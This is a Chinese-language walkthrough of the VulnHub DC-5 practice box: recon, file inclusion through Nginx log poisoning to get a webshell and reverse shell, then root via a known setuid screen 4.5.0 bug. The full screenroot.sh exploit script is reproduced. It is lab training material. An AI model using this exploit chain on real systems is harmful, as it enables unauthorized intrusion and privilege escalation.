VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有相關目標去完成(萬分感謝提供靶機鏡像的同學)。
文章較臃長,記錄了不斷測試並發現利用的過程。
一、相關簡介
靶機:
該靶機Web處存在文件包含漏洞,本地提權存在screen已知版本漏洞。
- 名稱:DC-5
- 系統:Linux Debian
- 難度:中級
- 目標:獲得root、拿到flag
環境:
- 靶機:DC-2——192,168.11.29
- 攻擊機:Kali——192.168.11.28
- 工具:Nmap、dirb、BurpSuit、whatweb、cewl、菜刀等
二、滲透步驟
1、信息蒐集
1.1、蒐集
主機發現
Nmap端口服務掃描
Web指紋識別和dirb Web目錄爆破並沒有得到有用信息
dirbuster 掃描到了2個新文件
1.2、總結
主機信息:
- IP:192.168.11.29
- OS:Linux Debian
- Kernel:Linux 3 / Linux 4
- 80端口:http,Nginx-1.6.2
- 111端口:RPC,rpcbind 2-4
Web信息:
- 服務器:Nginx-1.6.2
- ./contact.php - 200
- ./faq.php - 200
- ./index.php - 200
- ./solutions.php - 200
- ./footer.php - 200
- ./about-us.php - 200
- ./thankyou.php - 200
2、漏洞發現(文件包含)
試着包含以下本地的Nginx日誌,可以看到成功包含
3、文件包含漏洞利用
1)執行phpinfo()函數
得到了日誌文件,日誌的格式如下:
192.168.11.28 - - [23/Apr/2020:09:47:57 +1000] "GET / HTTP/1.0" 200 4025 "-" "-"
每條日誌都會記錄請求方式(GET 或 POST)以及訪問的uri,既然這樣,那就可以抓包將請求方式改爲php代碼,記錄進日誌,然後進行文件包含執行該代碼。
將GET改爲以下的 phpinfo()
代碼:
然後再次訪問之前的文件包含頁面,半酣日誌文件,結果成功執行 phpinfo() 函數,也就是說文件包含並執行代碼成功了
提交數據包後,頁面也有回顯
2)掛馬得到Webshell
既然可以執行,那就可以將php代碼改成php一句話木馬(在uri處改是一樣的),再提交包含,使用蟻劍連接即可,
提交數據包後,使用蟻劍連接
奇怪,蟻劍連接會出現亂碼,有點像是是html實體編碼後的結果
起初還以爲是php馬的問題,重置了好幾次靶機,但是還是不行,直到用菜刀連接。。。
3)利用system() 函數建立反彈shell
ok,那現在就可操作性很大了,傳一個反彈shell馬進去,建立連接。
但是發現不可以上傳和編輯文件,奇怪,換一種思路吧,直接使用php的系統命令函數來建立連接
給 cmd 傳參爲 cat+/etc/passwd
,成功執行了該系統命令
ok,將命令換爲bash的反彈shell,要進行url編碼,在kali上打開nc監聽9999端口,發包即可建立反彈shell
此時已經進入目標主機,需要提權。
4、screen-4.5.0 本地提權
開始提權,查找可寫文件、查看用戶權限皆無果後,借鑑網上的師傅們,使用find來尋找擁有SUID權限的命令,發現了screen命令
在kali上尋找已知版本POC,找到兩個,我們使用.sh
那個
並不可以直接使用,需要根據文件內容提示的步驟來提權,內容如下:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
具體步驟文件中已經給出,完成後會有以下三個文件:
但是 .sh
文件類型是 dos,需要使用 vi 來改變其類型爲 unix。 set ff
查看當前文件類型是 dos
使用 set ff=unix
改變類型爲 unix
再利用本地服務器將其下載至靶機,最好是 /tmp/
目錄下,避免無權限。(學到了可以使用python在當前目錄下開啓一個臨時服務器,非常方便!)
python -m SimpleHTTPServer 8000
使用wget下載文件
再賦予 .sh
文件執行權限,執行即可提權至root
得到flag
三、知識總結
整體步驟:
- 通過Web路徑爆破發現Web頁面存在文件包含
- 利用本地包含和Nginx日誌Getshell
- 利用screen已知版本漏洞提權至root
知識點:
-
當掃描不出信息時,可以換一個工具或者換一個字典,比如dirb掃描不到信息,可以使用dirbuster。
-
當存在文件包含時,如果有本地文件包含,可以靈活利用日誌來進行掛馬,一些服務器的日誌默認路徑:
Apache:
/var/log/apache2/access.log
Nginx:
/var/log/nginx/access.log
IIS:
- Windows Server 2003 iis6:
C:\Windows\System32\LogFiles
- Windows Server 2008 R2、2012、2016、2019 iis7以上:
C:\inetpub\logs\LogFiles
- Windows Server 2003 iis6: